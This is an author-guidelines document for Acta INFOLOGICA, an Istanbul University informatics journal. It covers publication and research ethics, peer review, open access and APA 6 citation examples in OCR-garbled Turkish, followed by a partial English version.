of Open Access Journals (DOAJ), Open Access Scholarly Publishers Association (OASPA) ve World Association of Medical Editors
(WAME) tarafindan yayinlanan etik yayincilik ilkelerini benimser; Principles of Transparency and Best Practice in Scholarly Publishing
baglig1 altinda ifade edilen ilkeler igin: https://publicationethics.org/resources/guidelines-new/principles-transparency-and-best-practice-
scholarly-publishing

Gonderilen tiim makaleler orijinal, yaymlanmamis ve baska bir dergide degerlendirme siirecinde olmamalidir. Her bir makale
editorlerden biri ve en az iki hakem tarafindan ¢ift kor degerlendirmeden gegirilir. Intihal, duplikasyon, sahte yazarlik/inkar edilen
yazarlik, arastrma/veri fabrikasyonu, makale dilimleme, dilimleyerek yayin, telif haklari ihlali ve ¢ikar catigmasinin gizlenmesi, etik
dis1 davranislar olarak kabul edilir.

Kabul edilen etik standartlara uygun olmayan tiim makaleler yayindan ¢ikarilir. Buna yayindan sonra tespit edilen olast kuraldisi,
uygunsuzluklar iceren makaleler de dahildir.

ARASTIRMA ETIiGi

Acta INFOLOGICA (ACIN) arastirma etiginde en yiiksek standartlar1 gozetir ve asagida tanimlanan uluslararasi arastirma etigi ilkelerini
benimser. Makalelerin etik kurallara uygunlugu yazarlarin sorumlulugundadir.

- Arastirmanin tasarlanmasi, tasarimin goézden gegirilmesi ve arastirmanin yiiriitiilmesinde, biitlinliik, kalite ve seffaflik ilkeleri
saglanmalidir.

- Aragtirma ekibi ve katilimcilar, aragtirmanin amaci, yontemleri ve 6ngoriilen olast kullanimlari; aragtirmaya katilimin gerektirdikleri
ve varsa riskleri hakkinda tam olarak bilgilendirilmelidir.

- Arastirma katilimeilarinin sagladigi bilgilerin gizliligi ve yanit verenlerin gizliligi saglanmalidir. Arastirma katilimcilarin 6zerkligini
ve saygimligini koruyacak sekilde tasarlanmalidir.

- Aragtirma katilimcilari goniillii olarak arastirmada yer almali, herhangi bir zorlama altinda olmamalidirlar.
- Katilimcilarin zarar gérmesinden kaginilmalidir. Arastirma, katilimcilari riske sokmayacak sekilde planlanmalidir.
- Aragtirma bagimsizlhigiyla ilgili agik ve net olunmali; ¢ikar ¢atismasi varsa belirtilmelidir.

- Deneysel ¢aligmalarda, arastirmaya katilmaya karar veren katilimcilarin yazil bilgilendirilmis onay1 alinmalidir. Cocuklarin ve vesayet
altindakilerin veya tasdiklenmis akil hastalig1 bulunanlarin yasal vasisinin onay1 alinmalidir.

- Calisma herhangi bir kurum ya da kurulusta gergeklestirilecekse bu kurum ya da kurulustan calisma yapilacagina dair onay alinmalidir.

- Insan 6gesi bulunan calismalarda, “yéntem” béliimiinde katilimeilardan “bilgilendirilmis onam” alindigmin ve calismanim yapildig
kurumdan etik kurul onay1 alindig: belirtilmesi gerekir.

YAZARLARIN SORUMLULUGU

Makalelerin bilimsel ve etik kurallara uygunlugu yazarlarin sorumlulugundadir. Yazar makalenin orijinal oldugu, daha dnce baska bir
yerde yayimnlanmadig1 ve baska bir yerde, baska bir dilde yaymlanmak tizere degerlendirmede olmadig1 konusunda teminat saglamalidir.
Uygulamadaki telif kanunlari ve anlagsmalari gozetilmelidir. Telife bagli materyaller (6rnegin tablolar, sekiller veya biiyiik alintilar)
gerekli izin ve tesekkiirle kullanilmalidir. Baska yazarlarin, katkida bulunanlarin ¢aligsmalari ya da yararlanilan kaynaklar uygun bigimde
kullanilmali ve referanslarda belirtilmelidir.

Gonderilen makalede tiim yazarlarin akademik ve bilimsel olarak dogrudan katkist olmalidir, bu baglamda “yazar” yayinlanan
bir arastirmanin kavramsallastirilmasina ve tasarimina, verilerin elde edilmesine, analizine ya da yorumlanmasina belirgin katki
yapan, yazinin yazilmasi ya da bunun igerik agisindan elestirel bigimde gézden gegirilmesinde goérev yapan birisi olarak goriiliir.
Yazar olabilmenin diger kosullari ise, makaledeki ¢alismay1 planlamak veya icra etmek ve / veya revize etmektir. Fon saglanmasi,
veri toplanmast ya da arastirma grubunun genel siipervizyonu tek basina yazarlik hakki kazandirmaz. Yazar olarak gosterilen tiim
bireyler sayilan tiim Olciitleri karsilamalidir ve yukaridaki olgiitleri karsilayan her birey yazar olarak gosterilebilir. Yazarlarin
isim siralamasi ortak verilen bir karar olmalidir. Tiim yazarlar yazar siralamasini Telif Hakk: Anlasmas1 Formunda imzali olarak
belirtmek zorundadirlar.

Yazarlik i¢in yeterli 6lgiitleri karsilamayan ancak ¢alismaya katkisi olan tiim bireyler “tesekkiir / bilgiler” kisminda siralanmalidir. Bunlara
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ornek olarak ise sadece teknik destek saglayan, yazima yardimci olan ya da sadece genel bir destek saglayan, finansal ve materyal destegi
sunan kisiler verilebilir.

Biitiin yazarlar, aragtirmanin sonuglarini ya da bilimsel degerlendirmeyi etkileyebilme potansiyeli olan finansal iliskiler, ¢ikar ¢atismasi ve
cikar rekabetini beyan etmelidirler. Bir yazar kendi yaymlanmis yazisinda belirgin bir hata ya da yanliglik tespit ederse, bu yanligliklara
iligkin diizeltme ya da geri ¢ekme i¢in editor ile hemen temasa gegme ve isbirligi yapma sorumlulugunu tasir.

EDITOR VE HAKEM SORUMLULUKLARI

Bas editor, makaleleri, yazarlarin etnik kokeninden, cinsiyetinden, cinsel yoneliminden, uyrugundan, dini inancindan ve siyasi felsefesinden
bagimsiz olarak degerlendirir. Yayina gonderilen makalelerin adil bir sekilde ¢ift tarafli kor hakem degerlendirmesinden gegmelerini saglar.
Gonderilen makalelere iliskin tiim bilginin, makale yayinlanana kadar gizli kalacagini garanti eder. Bas editor icerik ve yaymnin toplam
kalitesinden sorumludur. Gereginde hata sayfasi yayinlamali ya da diizeltme yapmalidir.

Bas editor; yazarlar, editorler ve hakemler arasinda ¢ikar ¢atigsmasina izin vermez. Hakem atama konusunda tam yetkiye sahiptir ve Dergide
yayinlanacak makalelerle ilgili nihai karar1 vermekle yiikiimliidiir.

Hakemlerin arastirmayla ilgili, yazarlarla ve/veya arastirmanin finansal destekgileriyle ¢ikar ¢atismalar: olmamalidir. Degerlendirmelerinin
sonucunda tarafsiz bir yargrya varmalidirlar. Gonderilmis yazilara iligkin tiim bilginin gizli tutulmasini saglamali ve yazar tarafinda herhangi
bir telif hakki ihlali ve intihal fark ederlerse editore raporlamalidirlar. Hakem, makale konusu hakkinda kendini vasifli hissetmiyor ya da
zamaninda geri donilis saglamast miimkiin goriinmiiyorsa, editdre bu durumu bildirmeli ve hakem siirecine kendisini dahil etmemesini
istemelidir.

Degerlendirme siirecinde editor hakemlere gézden gegirme icin gonderilen makalelerin, yazarlarin 6zel miilkii oldugunu ve bunun imtiyazlt
bir iletisim oldugunu agikca belirtir. Hakemler ve yaym kurulu tiyeleri bagka kisilerle makaleleri tartisamazlar. Hakemlerin kimliginin gizli
kalmasma 6zen gosterilmelidir. Bazi durumlarda editoriin karariyla, ilgili hakemlerin makaleye ait yorumlar: ayni makaleyi yorumlayan
diger hakemlere gonderilerek hakemlerin bu siiregte aydinlatilmasi saglanabilir.

YAZILARIN HAZIRLANMASI

DiL

Derginin yayn dili Tiirk¢e ve Amerikan Ingilizcesi’dir.
Yazilarin Hazirlanmasi ve Yazim Kurallar

Aksi belirtilmedikce gonderilen yazilarla ilgili tim yazigsmalar ilk yazarla yapilacaktir. Makale gonderimi online olarak ve http://acin.
istanbul.edu.tr adresinden erisilen http://dergipark.org.tr/login {izerinden yapilmalidir. Gonderilen yazilar, makale tiiriinii belirten ve
makaleyle ilgili detaylari iceren (bkz: Son Kontrol Listesi) kapak sayfasi; editdre mektup, yazinin elektronik formunu iceren Microsoft
Word 2003 ve tizerindeki versiyonlari ile yazilmis elektronik dosya ve tiim yazarlarin imzaladig: Telif Hakki Anlagmasi Formu eklenerek
gonderilmelidir.

1. Microsoft Word 6.0 ya da iistii bir versiyon kullaniyorsaniz ACIN Makale Sablonunu kullanabilirsiniz. Aksi halde, bu dokiiman bir
yonerge olarak kullanilabilir.

2. Makale basliklari biiyiik harf ve kiigiik harflerden olugsmali, biitiin harfler biiyiik olmamalidir. Basliga formiil yazmaktan kaginilmalidir.
Baglikta “(Davetli)” ya da benzeri ifadeler yer almamalidir.

3. Oz 150-250 kelime arasinda olmaldir, bir paragraf olarak yazilmali ve matematiksel denklem ya da tablo icermemelidir. Oz,
okuyucunun kolaylikla bulabilmesi i¢in, {i¢ ya da dort anahtar kelime ya da ifade icermelidir. Oz iyi okunabilir ve de dilbilgisi agisindan
dogru olmalidir.

4. Oziin altinda galismanin icerigini temsil eden ii¢ anahtar kelime olmalidir. Anahtar kelimelerin, “TR Dizin Anahtar Terimler Listesi”,
“Medical Subject Headings”, “CAB Theasarus”, “JISCT, “ERIC” vd. tarafindan tanimlanmis olmasina 6nem verilmelidir.

5. Calismalarin baslica su unsurlari igermesi gerekmektedir: Tiirkge baslik, 6z ve anahtar kelimeler; ingilizce baslik 6z ve anahtar
kelimeler; ana metin bdliimleri, kaynaklar, tablolar ve sekiller.

6. Yaymlanmak iizere gonderilen makale ile birlikte yazar bilgilerini iceren kapak sayfasi gonderilmelidir. Kapak sayfasinda, makalenin
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baslig1, yazar veya yazarlarin bagl bulunduklar1 kurum ve unvanlari, kendilerine ulasilabilecek adresler, cep, is ve faks numaralari,
ORCID ve e-posta adresleri yer almalidir (bkz. Son Kontrol Listesi).

7. Referanslar APA 6 stiline uygun olarak hazirlanmalidir.

KAYNAKLAR
Referans Stili ve Formati

Acta INFOLOGICA (ACIN), metin i¢i alintilama ve kaynak gosterme i¢in APA (American Psychological Association) kaynak sitilinin 6.
edisyonunu benimser. APA 6.Edisyon hakkinda bilgi i¢in:

- American Psychological Association. (2010). Publication manual of the American Psychological Association (6™ ed.). Washington, DC: APA.
- http://www.apastyle.org/
Kaynaklarin dogrulugundan yazar(lar) sorumludur. Tiim kaynaklar metinde belirtilmelidir. Kaynaklar agagidaki 6rneklerdeki gibi gosterilmelidir.

Metin i¢inde Kaynak Gosterme
Kaynaklar metinde parantez i¢inde yazarlarin soyadi ve yayin tarihi yazilarak belirtilmelidir. Birden fazla kaynak gosterilecekse kaynaklar
arasinda (;) igareti kullanilmalidir. Kaynaklar alfabetik olarak siralanmalidir.

Ornekler:

Birden fazla kaynak;

(Esin ve ark., 2002; Karasar 1995)
Tek yazarl kaynak;

(Akyolcu, 2007)

Tki yazarl kaynak;

(Sayner ve Demirci, 2007, s. 72)
Ug, dért ve bes yazarl kaynak,
Metin iginde ilk kullanimda: (Ailen, Ciambrune ve Welch, 2000, s. 12—13) Metin iginde tekrarlayan kullanimlarda: (Ailen ve ark., 2000)
Alti ve daha ¢ok yazarli kaynak;
(Cavdar ve ark., 2003)

Kaynaklar Boliimiinde Kaynak Gosterme
Kullanilan tiim kaynaklar metnin sonunda ayr1 bir boliim halinde yazar soyadlarina gore alfabetik olarak numaralandirilmadan verilmelidir.
Kaynak yazimu ile ilgili 6rnekler asagida verilmistir.

Kitap

a) Tiirkge Kitap

Karasar, N. (1995). Arastirmalarda rapor hazirlama (8.bs). Ankara: 3A Egitim Danismanlik Ltd.

b) Tiirk¢eye Cevrilmis Kitap

Mucchielli, A. (1991). Zihniyetler (A. Kotil, Cev.). Istanbul: iletisim Yayinlar1.

¢) Editorlii Kitap

Oren, T., Uney, T. ve Célkesen, R. (Ed.). (2006). Tiirkiye bilisim ansiklopedisi. istanbul: Papatya Yayincilik.

d) Cok Yazarh Tiirkce Kitap

Tonta, Y., Bitirim, Y. ve Sever, H. (2002). Tiirk¢e arama motorlarinda performans degerlendirme. Ankara: Total Bilisim.

e) Ingilizce Kitap

Kamien R., & Kamien A. (2014). Music: An appreciation. New York, NY: McGraw-Hill Education.

) Ingilizce Kitap Icerisinde Boliim

Bassett, C. (2006). Cultural studies and new media. In G. Hall & C. Birchall (Eds.), New cultural studies: Adventures in theory (pp.
220-237). Edinburgh, UK: Edinburgh University Press.

g) Tiirk¢e Kitap Igerisinde Boliim

Erkmen, T. (2012). Orgiit kiiltiirii: Fonksiyonlari, 6geleri, isletme yonetimi ve liderlikteki 6nemi. M. Zencirkiran (Ed.), Orgiit sosyolojisi
kitabi iginde (s. 233-263). Bursa: Dora Basim Yayn.
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h) Yayimcimin ve Yazarin Kurum Oldugu Yayin

Tiirk Standartlar1 Enstitiisii. (1974). Adlandirma ilkeleri. Ankara: Yazar.

Makale

a) Tiirk¢e Makale

Mutlu, B. ve Savaser, S. (2007). Cocugu ameliyat sonras1 yogun bakimda olan ebeveynlerde stres nedenleri ve azaltma girisimleri. Istanbul
Universitesi Florence Nightingale Hemgirelik Dergisi, 15(60), 179-182.

b) Ingilizce Makale

de Cillia, R., Reisigl, M., & Wodak, R. (1999). The discursive construction of national identity. Discourse and Society, 10(2), 149-173.
http://dx.doi.org/10.1177/0957926599010002002

¢) Yediden Fazla Yazarli Makale

Lal, H., Cunningham, A. L., Godeaux, O., Chlibek, R., Diez-Domingo, J., Hwang, S.-J. ... Heineman, T. C. (2015). Efficacy of
an adjuvanted herpes zoster subunit vaccine in older adults. New England Journal of Medicine, 372, 2087-2096. http://dx.doi.
org/10.1056/NEJMoal501184

d) DOI'si Olmayan Online Edinilmis Makale

Al, U. ve Dogan, G. (2012). Hacettepe Universitesi Bilgi ve Belge Yonetimi Béliimii tezlerinin atif analizi. Tiirk Kiitiiphaneciligi,
26, 349-369. Erigim adresi: http://www.tk.org.tr/

e) DOI'si Olan Makale

Turner, S. J. (2010). Website statistics 2.0: Using Google Analytics to measure library website effectiveness. Technical Services
Quarterly, 27, 261-278. http://dx.doi.org/10.1080/07317131003765910

f) Advance Online Olarak Yayimlanmis Makale

Smith, J. A. (2010). Citing advance online publication: A review. Journal of Psychology. Advance online publication. http://dx.doi.
org/10.1037/a45d7867

g) Popiiler Dergi Makalesi

Semercioglu, C. (2015, Haziran). Siradanligin rayihasi. Sabit Fikir, 52, 38-39.

Tez, Sunum, Bildiri

a) Tiirkge Tezler

Sar1, E. (2008). Kiiltiir kimlik ve politika: Mardin’de kiiltiirlerarasilik. (Doktora Tezi). Ankara Universitesi Sosyal Bilimler Enstitiisii, Ankara.

b)Ticari Veritabaninda Yer Alan Yiiksek Lisans Ya da Doktora Tezi

Van Brunt, D. (1997). Networked consumer health information systems (Doctoral dissertation). Available from ProQuest Dissertations
and Theses. (UMI No. 9943436)

¢) Kurumsal Veritabaninda Yer Alan Ingilizce Yiiksek Lisans/Doktora Tezi

Yaylali-Y1ldiz, B. (2014). University campuses as places of potential publicness: Exploring the politicals, social and cultural practices in
Ege University (Doctoral dissertation). Retrieved from: Retrieved from http://library.iyte.edu.tr/tr/hizli-erisim/iyte-tez-portali

d) Web’de Yer Alan Ingilizce Yiiksek Lisans/Doktora Tezi

Tonta, Y. A. (1992). An analysis of search failures in online library catalogs (Doctoral dissertation, University of California, Berkeley).
Retrieved from http://yunus.hacettepe.edu.tr/~tonta/yayinlar/phd/ickapak.html

e) Dissertations Abstracts International’da Yer Alan Yiiksek Lisans/Doktora Tezi

Appelbaum, L. G. (2005). Three studies of human information processing: Texture amplification, motion representation, and figure-
ground segregation. Dissertation Abstracts International: Section B. Sciences and Engineering, 65(10), 5428.

f) Sempozyum Katkist

Krinsky-McHale, S. J., Zigman, W. B., & Silverman, W. (2012, August). Are neuropsychiatric symptoms markers of prodromal
Alzheimer’s disease in adults with Down syndrome? In W. B. Zigman (Chair), Predictors of mild cognitive impairment, dementia,
and mortality in adults with Down syndrome. Symposium conducted at American Psychological Association meeting, Orlando, FL.

g) Online Olarak Erisilen Konferans Bildiri Ozeti

Crnar, M., Dogan, D. ve Seferoglu, S. S. (2015, Subat). Egitimde dijital araglar: Google smif uygulamasi iizerine bir degerlendirme [Oz].
Akademik Bilisim Konferansinda sunulan bildiri, Anadolu Universitesi, Eskisehir. Erisim adresi: http://ab2015.anadolu.edu.tr /index.
php?menu=>5&submenu=27

h) Diizenli Olarak Online Yayimlanan Bildiriler

Herculano-Houzel, S., Collins, C. E., Wong, P., Kaas, J. H., & Lent, R. (2008). The basic nonuniformity of the cerebral cortex. Proceedings
of the National Academy of Sciences, 105, 12593—-12598. http://dx.doi.org/10.1073/pnas.0805417105

i) Kitap Seklinde Yayimlanan Bildiriler

Schneider, R. (2013). Research data literacy. S. Kurbanoglu ve ark. (Ed.), Communications in Computer and Information Science: Vol.
397. Worldwide Communalities and Challenges in Information Literacy Research and Practice iginde (s. 134—140). Cham, Isvicre:
Springer. http://dx.doi.org/10.1007/978-3-319-03919-0
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) Kongre Bildirisi
Cepni, S., Bacanak A. ve Ozsevgeg T. (2001, Haziran). Fen bilgisi dgretmen adaylarmin fen branslarina karsi tutumlari ile fen
branslarindaki basarilarinn iliskisi. X. Ulusal Egitim Bilimleri Kongresi’nde sunulan bildiri, Abant izzet Baysal Universitesi, Bolu

Diger Kaynaklar

a) Gazete Yazist

Toker, C. (2015, 26 Haziran). ‘Unutma’ notlart. Cumhuriyet, s. 13.

b) Online Gazete Yazisi

Tamer, M. (2015, 26 Haziran). E-ticaret hamle yapmak i¢in tiiketiciyi bekliyor. Milliyet. Erisim adresi: http://www.milliyet

c) Web Page/Blog Post

Bordwell, D. (2013, June 18). David Koepp: Making the world movie-sized [Web log post]. Retrieved from http://www.davidbordwell.
net/blog/page/27/

d) Online Ansiklopedi/Sozliik

Bilgi mimarisi. (2014, 20 Aralik). Vikipedi i¢inde. Erigsim adresi: http://tr.wikipedia.org/wiki/Bilgi mimarisi

Marcoux, A. (2008). Business ethics. In E. N. Zalta (Ed.), The Stanford encyclopedia of philosophy. Retrieved from http://plato.stanford.
edu/entries/ethics-business/

e) Podcast

Radyo ODTU (Yapimecr). (2015, 13 Nisan). Modern sabahlar [Podcast]. Erisim adresi: http://www.radyoodtu.com.tr/

) Bir Televizyon Dizisinden Tek Bir Béliim

Shore, D. (Senarist), Jackson, M. (Senarist) ve Bookstaver, S. (Yonetmen). (2012). Runaways [Televizyon dizisi boliimii]. D. Shore (Bag
yapimc1), House M.D. i¢inde. New York, NY: Fox Broadcasting.

g) Miizik Kaydi

Say, F. (2009). Galata Kulesi. Istanbul senfonisi [CD] iginde. Istanbul: Ak Miizik.

SON KONTROL LiSTESI

Asagidaki listede eksik olmadigindan emin olun:

Editore mektup

*  Makalenin tiirii

* Bagka bir dergiye gonderilmemis oldugu bilgisi

* Sponsor veya ticari bir firma ile iliskisi (varsa belirtiniz)

» Kaynaklarin APA6’ya gore belirtildigi

+  Ingilizce yniinden kontroliiniin yapildig

* Yazarlara Bilgide detayl olarak anlatilan dergi politikalarinin gdzden gegirildigi
Telif Hakki Anlagmasi Formu

Daha &nce basilmis materyal (yazi-resim-tablo) kullanilmis ise izin belgesi
Kapak sayfasi

*  Makalenin kategorisi

+  Makale dilinde ve Ingilizce baslik




INFORMATION FOR AUTHORS

DESCRIPTION

Acta INFOLOGICA (ACIN) is the publication of Informatics Department of the Istanbul University. It is an open access, scholarly, peer-
reviewed journal published biannually in June and December. The journal was founded in 2017.

AIM AND SCOPE

ACIN aims to contribute to the scientific community interested in the field of informatics and aims to provide a platform for researchers
exploring issues based on the concepts of data-information-knowledge, information and communication technologies and applications. The
journal welcomes multidisciplinary studies regarding the field as well.

The areas of study covered in the scope of ACIN are in below;
Intelligent Systems

Information Security and Law

Knowledge Management

Computer Networks

Computer Architecture

Information Systems

Bioinformatics

Geographic Information Systems

E-Applications

Internet Technologies

Decision Support Systems and Business Intelligence
Microcontroller and Applications

Mobile Systems

Modeling and Optimization

Project Management

Social and Digital Media

Data Mining

Database Systems

Artificial Intelligence and Machine Learning

Software Engineering
EDITORIAL POLICIES AND PEER REVIEW PROCESS
Publication Policy

The subjects covered in the manuscripts submitted to the Journal for publication must be in accordance with the aim and scope of the
journal. The journal gives priority to original research papers submitted for publication.

General Principles

Only those manuscripts approved by its every individual author and that were not published before in or sent to another journal, are
accepted for evaluation.

Submitted manuscripts that pass preliminary control are scanned for plagiarism using iThenticate software. After plagiarism check, the eligible ones
are evaluated by editor-in-chief for their originality, methodology, the importance of the subject covered and compliance with the journal scope.

Short presentations that took place in scientific meetings can be referred if indicated in the article. The editor hands over the papers matching
the formal rules to at least two national/international referees for evaluation and gives green light for publication upon modification by the
authors in accordance with the referees’ claims. Changing the name of an author (omission, addition or order) in papers submitted to the
Journal requires written permission of all declared authors. Refused manuscripts and graphics are not returned to the author.
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OPEN ACCESS STATEMENT

The journal is an open access journal and all content is freely available without charge to the user or his/her institution. Except for
commercial purposes, users are allowed to read, download, copy, print, search, or link to the full texts of the articles in this journal without
asking prior permission from the publisher or the author. This is in accordance with the BOAI definition of open access.

The open access articles in the journal are licensed under the terms of the Creative Commons Attribution-NonCommercial 4.0 International
(CC BY-NC 4.0) license.

Article Processing Charge
All expenses of the journal are covered by the Istanbul University. Processing and publication are free of charge with the journal. There is
no article processing charges or submission fees for any submitted or accepted articles.

Peer Review Process

Only those manuscripts approved by its every individual author and that were not published before in or sent to another journal, are
accepted for evaluation.

Submitted manuscripts that pass preliminary control are scanned for plagiarism using iThenticate software. After plagiarism check, the
eligible ones are evaluated by Editor-in-Chief for their originality, methodology, the importance of the subject covered and compliance
with the journal scope. Editor-in-Chief evaluates manuscripts for their scientific content without regard to ethnic origin, gender, sexual
orientation, citizenship, religious belief or political philosophy of the authors and ensures a fair double-blind peer review of the selected
manuscripts.

The selected manuscripts are sent to at least two national/international referees for evaluation and publication decision is given by Editor-
in-Chief upon modification by the authors in accordance with the referees’ claims.

Editor-in-Chief does not allow any conflicts of interest between the authors, editors and reviewers and is responsible for final decision for
publication of the manuscripts in the Journal.

Reviewers’ judgments must be objective. Reviewers’ comments on the following aspects are expected while conducting the review.

- Does the manuscript contain new and significant information?

- Does the abstract clearly and accurately describe the content of the manuscript?
- Is the problem significant and concisely stated?

- Are the methods described comprehensively?

- Are the interpretations and consclusions justified by the results?

- Is adequate references made to other Works in the field?

- Is the language acceptable?

Reviewers must ensure that all the information related to submitted manuscripts is kept as confidential and must report to the editor if they
are aware of copyright infringement and plagiarism on the author’s side.

A reviewer who feels unqualified to review the topic of a manuscript or knows that its prompt review will be impossible should notify the
editor and excuse himself from the review process.

The editor informs the reviewers that the manuscripts are confidential information and that this is a privileged interaction. The reviewers
and editorial board cannot discuss the manuscripts with other persons. The anonymity of the referees is important.

COPYRIGHT NOTICE

Authors publishing with the journal retain the copyright to their work licensed under the Creative Commons Attribution-NonCommercial
4.0 International license (CC BY-NC 4.0) (https://creativecommons.org/licenses/by-nc/4.0/ ) and grant the Publisher non-exclusive
commercial right to publish the work. CC BY-NC 4.0 license permits unrestricted, non-commercial use, distribution, and reproduction in
any medium, provided the original work is properly cited.
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PUBLICATION ETHICS AND PUBLICATION MALPRACTICE STATEMENT

Acta INFOLOGICA (ACIN) is committed to upholding the highest standards of publication ethics and pays regard to Principles of
Transparency and Best Practice in Scholarly Publishing published by the Committee on Publication Ethics (COPE), the Directory of Open
Access Journals (DOAJ), to access the Open Access Scholarly Publishers Association (OASPA), and the World Association of Medical
Editors (WAME) on https://publicationethics.org/resources/guidelines-new/principles-transparency-and-best-practice-scholarly-publishing

All parties involved in the publishing process (Editors, Reviewers, Authors and Publishers) are expected to agree on the following ethical principles.

All submissions must be original, unpublished (including as full text in conference proceedings), and not under the review of any other
publication synchronously. Each manuscript is reviewed by one of the editors and at least two referees under double-blind peer review
process. Plagiarism, duplication, fraud authorship/denied authorship, research/data fabrication, salami slicing/salami publication, breaching
of copyrights, prevailing conflict of interest are unnethical behaviors.

All manuscripts not in accordance with the accepted ethical standards will be removed from the publication. This also contains any possible
malpractice discovered after the publication. In accordance with the code of conduct we will report any cases of suspected plagiarism or
duplicate publishing.

RESEARCH ETHICS

Acta INFOLOGICA (ACIN) adheres to the highest standards in research ethics and follows the principles of international research ethics
as defined below. The authors are responsible for the compliance of the manuscripts with the ethical rules.

- Principles of integrity, quality and transparency should be sustained in designing the research, reviewing the design and conducting the
research.

- The research team and participants should be fully informed about the aim, methods, possible uses and requirements of the research
and risks of participation in research.

- The confidentiality of the information provided by the research participants and the confidentiality of the respondents should be
ensured. The research should be designed to protect the autonomy and dignity of the participants.

- Research participants should participate in the research voluntarily, not under any coercion.
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